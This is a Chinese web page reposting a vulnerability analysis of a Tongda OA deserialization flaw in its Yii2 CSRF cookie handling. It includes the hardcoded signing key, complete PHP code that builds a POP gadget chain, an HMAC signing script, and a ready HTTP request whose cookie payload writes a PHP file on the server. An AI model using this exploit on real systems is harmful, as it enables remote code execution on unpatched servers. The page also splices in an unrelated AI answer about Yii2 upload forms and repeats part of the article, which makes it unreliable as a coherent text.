整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

通达OA小于12.4 反序列化漏洞分析

通达OA小于12.4 反序列化漏洞分析

x00 前置知识和准备

1.yii版本和源码准备

查看通达oa 11.10使用的yii框架版本是2.0.13-dev,该版本在inc/vendor/yii2/yiisoft/yii2/BaseYii.php(yii/BaseYii)的getVersion方法可以查看。由于通达oa解密后的代码会对yii框架部分代码有影响,会出现乱码的情况,所以建议找到对应版本后上yii仓库下载源码。

static public function getVersion()
    {
        return "2.0.13-dev";
    }

2.yii csrftoken配置方法

  • 单个controller开启:

在控制器中设置

public $enableCsrfValidation=true;
  • 全局开启:

在yii框架的/config/main.php设置

request=> [
    'enableCookieValidation'=> true,
]

yii框架默认是开启这个设置的。

  • 针对提交的数据流进行设置

通达oa在inc/vendor/yii2/yiisoft/yii2/web/Request.php页面中,设置public $enableCsrfValidation=true;$enableCsrfValidation=true;(默认)

还可以设置beforeAction在某些方法之前进行csrf token、afterAction在某些方法之后进行csrf token、表单设置、ajax异步post请求设置,这些其他模式设置csrf token请查看《Yii2 关闭和打开csrf 验证》。

3.yii csrftoken http报文格式

Cookie中_csrf的参数,格式大致如下:

Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}

a开始就是序列化的数组数据。

例如:

Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;

通过这些可以看到该漏洞的利用条件如下:

  • yii csrf token开启(默认开启)
  • 只能影响到yii框架函数request类请求的数据流,php原生请求方式不受影响。

0x01 漏洞分析

1.反序列化触发点csrfMetaTags

yii框架csrf token生成的时候会生成一部分序列化数据,校验该token需要对这部分序列化数据进行反序列化校验。

yii/helpers/BaseHtml的csrfMetaTags方法是生成csrftoken后将其放在html的meta标签里面的方法。yii默认是开启csrf校验的,所以$request->enableCsrfValidation默认为true,默认就会调用yii/web/Request::getCsrfToken方法获取csrf token。

public static function csrfMetaTags()
    {
        $request=Yii::$app->getRequest();
        // $request是framework/web/Request.php Request类
        if ($request instanceof Request && $request->enableCsrfValidation) {
            return static::tag('meta', '', ['name'=> 'csrf-param', 'content'=> $request->csrfParam]) . "\n    "
                . static::tag('meta', '', ['name'=> 'csrf-token', 'content'=> $request->getCsrfToken()]) . "\n";
        }

        return '';
    }

//framework/web/Request.php 
public $enableCsrfValidation=true;

跟进getCsrfToken方法,$this->_csrfToken可控,设置为null,从而能继续进入$this->loadCsrfToken()。

public function getCsrfToken($regenerate=false)
    {
        //可设置 $this->_csrfToken=null
        if ($this->_csrfToken===null || $regenerate) {
            if ($regenerate || ($token=$this->loadCsrfToken())===null)
            {
                $token=$this->generateCsrfToken();
            }
            $this->_csrfToken=Yii::$app->security->maskToken($token);
        }

        return $this->_csrfToken;
    }

$this->loadCsrfToken()由于$this->enableCsrfCookie默认就为true,就会调用getCookies方法。$this->_cookies可控,从而调用$this->loadCookies()。loadCookies方法中$this->cookieValidationKey根据手册开启csrf校验该密钥可以在yii web配置里查看。通达oa中yii的web配置文件是general/appbuilder/config/web.php,在这里面可以看到固定密码为tdide2。

protected function loadCsrfToken()
    {
        //默认或可设置$enableCsrfCookie=true
        if ($this->enableCsrfCookie) {
            return $this->getCookies()->getValue($this->csrfParam);
        }

        return Yii::$app->getSession()->get($this->csrfParam);
    }

public function getCookies()
    {
        if ($this->_cookies===null) {
            $this->_cookies=new CookieCollection($this->loadCookies(), [
                'readOnly'=> true,
            ]);
        }

        return $this->_cookies;
    }

protected function loadCookies()
    {
        $cookies=[];
        if ($this->enableCookieValidation) {
            if ($this->cookieValidationKey=='') {
                throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
            }
            foreach ($_COOKIE as $name=> $value) {
                if (!is_string($value)) {
                    continue;
                }
              //$this->cookieValidationKey='tdide2'
                $data=Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
                if ($data===false) {
                    continue;
                }
              // 反序列化点
                $data=@unserialize($data);
                if (is_array($data) && isset($data[0], $data[1]) && $data[0]===$name) {
                    $cookies[$name]=Yii::createObject([
                        'class'=> 'yii\web\Cookie',
                        'name'=> $name,
                        'value'=> $data[1],
                        'expire'=> null,
                    ]);
                }
            }
        ......

回到loadCookies中,对$_COOKIE循环遍历并对cookie中每个字段的值用Yii::$app->getSecurity()->validateData()校验,校验csrf token值无问题后对其进行反序列化。

跟进发现是yii/base/Security的validataData方法。该方法校验思路是比对cookie的csrf token中传入的hash和代码中重新计算的hash是否一致。hash_hmac设置的是sha256位的hash计算模式,因此每次传入csrf token都要计算对应的hash值。

public function validateData($data, $key, $rawHash=false)
    {
        //$this->macHash=sha256
        $test=@hash_hmac($this->macHash, '', '', $rawHash);
        if (!$test) {
            throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
        }
        $hashLength=StringHelper::byteLength($test);
        if (StringHelper::byteLength($data) >=$hashLength) {
            $hash=StringHelper::byteSubstr($data, 0, $hashLength);
            $pureData=StringHelper::byteSubstr($data, $hashLength, null);
            //hash_mac('sha256',$pureData,'tdide2',false)
            $calculatedHash=hash_hmac($this->macHash, $pureData, $key, $rawHash);

            if ($this->compareString($hash, $calculatedHash)) {
                return $pureData;
            }
        }

        return false;
    }

2.通达OA调用csrfMetaTags的地方

分析完了反序列化unserialize的触发点,但还要找到调用csrfMetaTags方法的地方。由于yii/web/Request::csrfMetaTags是生成html页面meta标签的csrf token,因此调用的地方一般在html模版或者写页面的方法中。全局搜索,在general/appbuilder/views/layouts/main.php中有调用该方法。

<?php
$this->beginPage();
echo "<!DOCTYPE html>\n<html lang=\"";
echo Yii::$app->language;
echo "\">\n<head>\n    <meta charset=\"";
echo Yii::$app->charset;
echo "\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    ";
echo yii\helpers\Html::csrfMetaTags();
echo "    <title>";
......

查看/general/appbuilder/目录结构发现general/appbuilder/views/是yii框架写的模板主页面。只要调用了该路由下的方法就能触发模板渲染。

根据手册,general/appbuilder/config/params.php是配置框架参数的,其中skip_module是配置不进行鉴权的模块,其中就有portal门户模块。

<?php

include_once "inc/td_config.php";
$arr_mysql_server=explode(":", TD::$_arr_db_master["host"]);
return array(
......
    "skip_module" => array("portal", "hr", "meeting", "formCenter", "calendar", "officeproduct", "invoice"),

同时general/appbuilder/web/index.php是yii路由入口,获取请求路径后以问号为分隔符substr分割路径和uri参数。portal模块下不是gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin的话会直接跳转到index.php,从而可以触发general/appbuilder/views/layouts/main.php模板。

......
    else {
        $url=$_SERVER["REQUEST_URI"]; //获取路径
        $strurl=substr($url, 0, strpos($url, "?")); //分割路径和uri参数

        if (strpos($strurl, "/portal/") !==false) {
            if (strpos($strurl, "/gateway/")===false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($strurl, "/gateway/saveportal") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "edit") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "uploadfile") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "uploadportalfile") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "uploadpicture") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "dologin") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
        }
    ......

因此,触发漏洞的路由是/general/appbuilder/portal/gateway/?。

在inc/common.inc.php可以看到通达OA有全局的addslashes过滤,对Cookie中过滤。传入payload的时候将_csrf改为_GET、_POST等就可以绕过。

if (0 < count($_COOKIE)) {
  foreach ($_COOKIE as $s_key=> $s_value ) {
    if ((substr($s_key, 0, 7)=="_SERVER") || (substr($s_key, 0, 8)=="_SESSION") || (substr($s_key, 0, 7)=="_COOKIE") || (substr($s_key, 0, 4)=="_GET") || (substr($s_key, 0, 5)=="_POST") || (substr($s_key, 0, 6)=="_FILES")) {
      continue;
    }

    if (!is_array($s_value)) {
      $_COOKIE[$s_key]=addslashes(strip_tags($s_value));
    }

    $s_key=$_COOKIE[$s_key];
  }

  reset($_COOKIE);
}

3.yii 反序列化链

yii常见的反序列化起点是利用yii\db\BatchQueryResult的。其中yii框架POP1链条差不多如下:**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**,但是通达oa里并没有用**Faker\Generator**,而且好多yii反序列化链涉及的类都通达oa都没有,因此这里需要重新找一条链。

yii\db\BatchQueryResult的__destruct调用的reset方法,其中$this->_dataReader可控,$this->_dataReader->close()可以理解为可控类->close()。全局搜索到yii\db\DataReader存在close()方法。

public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

public function reset()
    {
        if ($this->_dataReader !==null) { 
            $this->_dataReader->close();
        }
        $this->_dataReader=null;
        $this->_batch=null;
        $this->_value=null;
        $this->_key=null;
    }

因此,可设置$this->_dataReader=new DataReader()从而触发调用其close方法,进入后$this->_statement可控,同样是可控类->closeCursor(),但是全局搜索没找到什么对应的类。尝试找带有call方法的类,通过调用其不存在的closeCursor,触发call方法。

public function close()
    {
        $this->_statement->closeCursor();//$this->_statement=new Connection();
        $this->_closed=true;
    }

在通达oa 11.10全局搜索中找到yii2框架还用了yii2-redis库,在yii2-redis里面找到yii\redis\Connection类存在call方法。


打开后发现代码由于解密问题有乱码问题,找到对应的yii2-redis仓库下载对应版本的源码(inc/vendor/yii2/yiisoft/extensions.php页面可查看yii2-redis版本为2.0.6)。$redisCommand=$name='closeCursor'转换为大写,再与$this->redisCommands比对,查看是否存在其中,而$this->redisCommands可控,可参照其默认值形式,设置为CLOSE CURSOR,从而可进入executeCommand。

public $redisCommands=[
        'APPEND', // Append a value to a key
        'AUTH', // Authenticate to the server
        'BGREWRITEAOF', // Asynchronously rewrite the append-only file
        'BGSAVE', // Asynchronously save the dataset to disk
......
    ];

public function __call($name, $params)//$name=closeCursor,$params=null
    {
        $redisCommand=strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR
        if (in_array($redisCommand, $this->redisCommands)) {
            return $this->executeCommand($redisCommand, $params);
        }

        return parent::__call($name, $params);
    }

executeCommand调用open方法,跟进发现$this->_socket可控,为保证代码继续运行这里要设置为false(默认初始化值为false)。$connection由hostname、port、database拼接,每个变量都可控,然后后续进行socket的链接。由于通达一体包系统环境一般是win系统,所以设置$this->unixSocket为false(可控)就能进入win下tcp链接。这里只要连通就可以让$this->_socket为true进入if分支。if分之内前面三个if条件$this->dataTimeout、$this->password、$this->database都可控,这三个分支调用的不是executeCommand的递归就是又进行socket链接都不符合情况,所以需要设置为null,才能保证进入initConnection()。

public function executeCommand($name, $params=[])
    {
        $this->open();
......
    }

public function open()
    {
        if ($this->_socket !==false) {
            return;
        }
        $connection=($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database;
        \Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__);
        $this->_socket=@stream_socket_client(
            $this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port,
            $errorNumber,
            $errorDescription,
            $this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'),
            $this->socketClientFlags
        );
        if ($this->_socket) {
            if ($this->dataTimeout !==null) {
                stream_set_timeout($this->_socket, $timeout=(int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000));
            }
            if ($this->password !==null) {
                $this->executeCommand('AUTH', [$this->password]);
            }
            if ($this->database !==null) {
                $this->executeCommand('SELECT', [$this->database]);
            }
            $this->initConnection();
        }
    ......
}

initConnection()实际调用的是yii\base\Component(framework/base/Component.php)::trigger()方法,参数EVENT_AFTER_OPEN固定值是afterOpen。

const EVENT_AFTER_OPEN='afterOpen';

protected function initConnection()
    {
        $this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen');
    }

trigger方法在line560调用了call_user_func,逆向溯源两个$handler[0]和$event参数。$this->_events[$name]=$this->['afterOpen']不为空,就能进入该分支调用call_user_func。然后对$this->_events['afterOpen']进行数组遍历,于是$this->_events['afterOpen'][0]=$handler[0]可控,$this->_events['afterOpen'][1]=$event->data=Event::data不可控。

public function trigger($name, Event $event=null)
    {
        $this->ensureBehaviors();
        //$this->_events['afterOpen']=''
        if (!empty($this->_events[$name])) {
            if ($event===null) {
                $event=new Event();
            }
            if ($event->sender===null) {
                $event->sender=$this;//yii\base\Component
            }
            $event->handled=false;
            $event->name=$name;//'afterOpen'
            //$this->>_events['afterOpen']=$handler; 
            foreach ($this->_events[$name] as $handler) {
                $event->data=$handler[1];//any
                call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any);
                // stop further handling if the event is handled
                if ($event->handled) {
                    return;
                }
            }
        }
        // invoke class-level attached handlers
        Event::trigger($this, $name, $event);
    }

参考低版本yii反序列化链执行代码注入的一般通过yii\rest\CreateAction或者类似的类(代码内容如下所示)。其中$this->checkAccess和$this->id都可控,$this->checkAccess设置为调用php函数,如system执行命令;$this->id设置执行内容,如命令whoami。

public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }
      ......

结合上面的trigger方法,call_user_func参数1可以设置为调用CreateAction的run方法,调用方式:call_user_func([new CreateAction, 'run'],'a')。如何给$this->_events['afterOpen']赋值,继续查看如下代码注释:

//$this->>_events['afterOpen']=$handler; //一重数组,$handler要求是数组
            foreach ($this->_events[$name] as $handler) { //二重数组,$handler分为$handler[0]和handler[1]
                $event->data=$handler[1];//any
                call_user_func($handler[0],$event);
                //call_user_func([new CreateAction,'run'],any); 
                //三重数组,call_user_func调用类需要用数组传入,形如[new A(),...params]

转换过来也就是$this->_events['afterOpen']=[[[new CreatAction, 'run'],'a']]。

0x02 漏洞复现

1.生成反序列化链

该链条效果为写入一个名为hgsd.php的php文件,内容为<?php echo 123;?>。输出反序列化payload的base64编码,解码并urlencode作为伪造的csrf token一部分数据。

<?php

//step4
namespace yii\rest {
    class CreateAction {
        public $id;
        public $checkAccess;
        public function __construct() {
            $this->checkAccess='assert';
            $this->id="file_put_contents('hgsd.php','<?php echo 123;?>')";
        }

    }
}

//step3
namespace yii\base {

    use yii\rest\CreateAction;

    class Component {

        private $_events=[];
        private $_behaviors=1;

        public function __construct() {
            $this->_events=["afterOpen"=> [[[new CreateAction(), "run"], "a"]]];
            //第二个"a"参数任意。
        }
    }
}
//step2
namespace yii\redis {

    use yii\base\Component;

    class Connection extends Component{
        public $redisCommands=[];
        public $hostname='';
        public $port;
        public $password;
        public $username;
        public $connectionTimeout;
        public $dataTimeout;
        public $database;
        public $unixSocket;
        private $_socket;

        public function __construct()
        {
            $this->redisCommands=array('CLOSE CURSOR');
            $this->_socket=false;
            $this->hostname='127.0.0.1';
            $this->port=803;//能够连通的任意本地服务的端口
            $this->unixSocket=false;
            $this->connectionTimeout=5;
            parent::__construct();
        }
    }

}

// step1 
namespace yii\db {

    use yii\redis\Connection;

    class DataReader {
        private $_statement;
        private $_closed=false;
        private $_row;
        private $_index=-1;
        public function __construct()
        {
            $this->_statement=new Connection();
        }
    }

    class BatchQueryResult {
        public $batchSize=100;
        public $each=false;
        private $_dataReader;
        private $_batch;
        private $_value;
        private $_key;

        public function __construct() {
            $this->_dataReader=new DataReader();
        }

    }
}
//start
namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

2. 生成反序列化hash

对第一步生成的反序列化payload(base64已编码)进行hash计算,从而生成对应的csrf token另一部分数据。

<?php
$pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9');

$calculatedHash=hash_hmac('sha256',$pureData,'tdide2',false); 
# yii general/appbuilder/config/web.php cookieValidationKey 固定值
echo($calculatedHash);

3.http报文(漏洞验证)

对数据包请求方式没有限制,get和post方式都可以。伪造的csrf token格式是Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode。按照payload格式拼接完毕后,在发送如下请求:

POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

执行成功后响应500,响应体如下图所示:


上述生成的poc文件目录是/general/appbuilder/web/hgsd.php。


from https://xz.aliyun.com/t/12855

AI提问题: 使用 php Yii2 框架创建表单,要求表单带上传功能;请提供控制器、模型、视图的代码,如果需要使用第三方js前端UI框架,请告诉我该如何引用它。


在Yii2框架中创建带有上传功能的表单需要使用Yii2内置的`ActiveForm`类,同时还需要在模型中定义相应的规则和在控制器中处理文件上传。下面是一个简单的例子,假设你想要创建一个包含文件上传功能的表单。

1. 创建模型(models/YourModel.php):

<?php

namespace app\models;

use yii\base\Model;

use yii\web\UploadedFile;

class YourModel extends Model

{

public $file; // 属性用于接收上传的文件


public function rules()

{

return [

[['file'], 'file', 'skipOnEmpty'=> false, 'extensions'=> 'png, jpg, jpeg'],

];

}

}


2. 创建控制器(controllers/YourController.php):

<?php

namespace app\controllers;

use Yii;

use yii\web\Controller;

use app\models\YourModel;

use yii\web\UploadedFile;

class YourController extends Controller

{

public function actionYourForm()

{

$model=new YourModel();

if (Yii::$app->request->isPost) {

$model->file=UploadedFile::getInstance($model, 'file');

if ($model->file && $model->validate()) {

$uploadPath=Yii::getAlias('@app/uploads/');

$model->file->saveAs($uploadPath . $model->file->baseName . '.' . $model->file->extension);

// 处理文件上传后的逻辑,可以保存文件路径到数据库或其他操作

// 例如:$model->file_path=$uploadPath . $model->file->baseName . '.' . $model->file->extension;

}

}

return $this->render('yourForm', ['model'=> $model]);

}

}


3. 创建视图文件(views/your-controller/yourForm.php):

<?php

use yii\helpers\Html;

use yii\widgets\ActiveForm;

?>

<?php $form=ActiveForm::begin(['options'=> ['enctype'=> 'multipart/form-data']]); ?>

<?=$form->field($model, 'file')->fileInput() ?>

<div class="form-group">

<?=Html::submitButton('Submit', ['class'=> 'btn btn-primary']) ?>

</div>

<?php ActiveForm::end(); ?>


在这个例子中,`models/YourModel.php` 中定义了一个模型,其中包含一个用于接收上传文件的属性,并使用`rules`方法设置了文件上传的规则。`controllers/YourController.php` 中的`actionYourForm`方法处理了文件上传的逻辑,将上传的文件保存到指定目录。视图文件`views/your-controller/yourForm.php` 使用`ActiveForm`创建了带有文件上传功能的表单。

效果如下:


如果你希望使用第三方的js前端UI框架,可以在布局文件中引入相应的CSS和JS文件,例如,如果你想使用Bootstrap,可以在布局文件中添加以下代码:

<?php

use yii\helpers\Html;

use yii\bootstrap\NavBar;

use yii\bootstrap\Nav;

/* @var $this \yii\web\View */

/* @var $content string */

\yii\bootstrap\BootstrapAsset::register($this);

$this->beginPage();

?>

<!DOCTYPE html>

<html lang="<?=Yii::$app->language ?>">

<head>

<meta charset="<?=Yii::$app->charset ?>">

<meta name="viewport" content="width=device-width, initial-scale=1">

<?=Html::csrfMetaTags() ?>

<title><?=Html::encode($this->title) ?></title>

<?php $this->head() ?>

</head>

<body>

<?php $this->beginBody(); ?>

<div class="wrap">

<?php

NavBar::begin([

'brandLabel'=> 'My Yii Application',

'brandUrl'=> Yii::$app->homeUrl,

'options'=> [

'class'=> 'navbar-inverse navbar-fixed-top',

],

]);

echo Nav::widget([

'options'=> ['class'=> 'navbar-nav navbar-right'],

'items'=> [

['label'=> 'Home', 'url'=> ['/site/index']],

// other menu items...

],

]);

NavBar::end();

?>

<div class="container">

<?=$content ?>

</div>

</div>

<?php $this->endBody(); ?>

</body>

</html>

<?php $this->endPage(); ?>


在这个例子中,我使用了Yii2的Bootstrap扩展,通过`\yii\bootstrap\BootstrapAsset::register($this);`来引入Bootstrap的CSS和JS文件。你可以根据自己的需要引入其他第三方前端UI框架的文件。

x00 前置知识和准备

1.yii版本和源码准备

查看通达oa 11.10使用的yii框架版本是2.0.13-dev,该版本在inc/vendor/yii2/yiisoft/yii2/BaseYii.php(yii/BaseYii)的getVersion方法可以查看。由于通达oa解密后的代码会对yii框架部分代码有影响,会出现乱码的情况,所以建议找到对应版本后上yii仓库下载源码。

static public function getVersion()
    {
        return "2.0.13-dev";
    }

2.yii csrftoken配置方法

  • 单个controller开启:

在控制器中设置

public $enableCsrfValidation=true;
  • 全局开启:

在yii框架的/config/main.php设置

request=> [
    'enableCookieValidation'=> true,
]

yii框架默认是开启这个设置的。

  • 针对提交的数据流进行设置

通达oa在inc/vendor/yii2/yiisoft/yii2/web/Request.php页面中,设置public $enableCsrfValidation=true;$enableCsrfValidation=true;(默认)

还可以设置beforeAction在某些方法之前进行csrf token、afterAction在某些方法之后进行csrf token、表单设置、ajax异步post请求设置,这些其他模式设置csrf token请查看《Yii2 关闭和打开csrf 验证》。

3.yii csrftoken http报文格式

Cookie中_csrf的参数,格式大致如下:

Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}

a开始就是序列化的数组数据。

例如:

Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;

通过这些可以看到该漏洞的利用条件如下:

  • yii csrf token开启(默认开启)
  • 只能影响到yii框架函数request类请求的数据流,php原生请求方式不受影响。

0x01 漏洞分析

1.反序列化触发点csrfMetaTags

yii框架csrf token生成的时候会生成一部分序列化数据,校验该token需要对这部分序列化数据进行反序列化校验。

yii/helpers/BaseHtml的csrfMetaTags方法是生成csrftoken后将其放在html的meta标签里面的方法。yii默认是开启csrf校验的,所以$request->enableCsrfValidation默认为true,默认就会调用yii/web/Request::getCsrfToken方法获取csrf token。

public static function csrfMetaTags()
    {
        $request=Yii::$app->getRequest();
        // $request是framework/web/Request.php Request类
        if ($request instanceof Request && $request->enableCsrfValidation) {
            return static::tag('meta', '', ['name'=> 'csrf-param', 'content'=> $request->csrfParam]) . "\n    "
                . static::tag('meta', '', ['name'=> 'csrf-token', 'content'=> $request->getCsrfToken()]) . "\n";
        }

        return '';
    }

//framework/web/Request.php 
public $enableCsrfValidation=true;

跟进getCsrfToken方法,$this->_csrfToken可控,设置为null,从而能继续进入$this->loadCsrfToken()。

public function getCsrfToken($regenerate=false)
    {
        //可设置 $this->_csrfToken=null
        if ($this->_csrfToken===null || $regenerate) {
            if ($regenerate || ($token=$this->loadCsrfToken())===null)
            {
                $token=$this->generateCsrfToken();
            }
            $this->_csrfToken=Yii::$app->security->maskToken($token);
        }

        return $this->_csrfToken;
    }

$this->loadCsrfToken()由于$this->enableCsrfCookie默认就为true,就会调用getCookies方法。$this->_cookies可控,从而调用$this->loadCookies()。loadCookies方法中$this->cookieValidationKey根据手册开启csrf校验该密钥可以在yii web配置里查看。通达oa中yii的web配置文件是general/appbuilder/config/web.php,在这里面可以看到固定密码为tdide2。

protected function loadCsrfToken()
    {
        //默认或可设置$enableCsrfCookie=true
        if ($this->enableCsrfCookie) {
            return $this->getCookies()->getValue($this->csrfParam);
        }

        return Yii::$app->getSession()->get($this->csrfParam);
    }

public function getCookies()
    {
        if ($this->_cookies===null) {
            $this->_cookies=new CookieCollection($this->loadCookies(), [
                'readOnly'=> true,
            ]);
        }

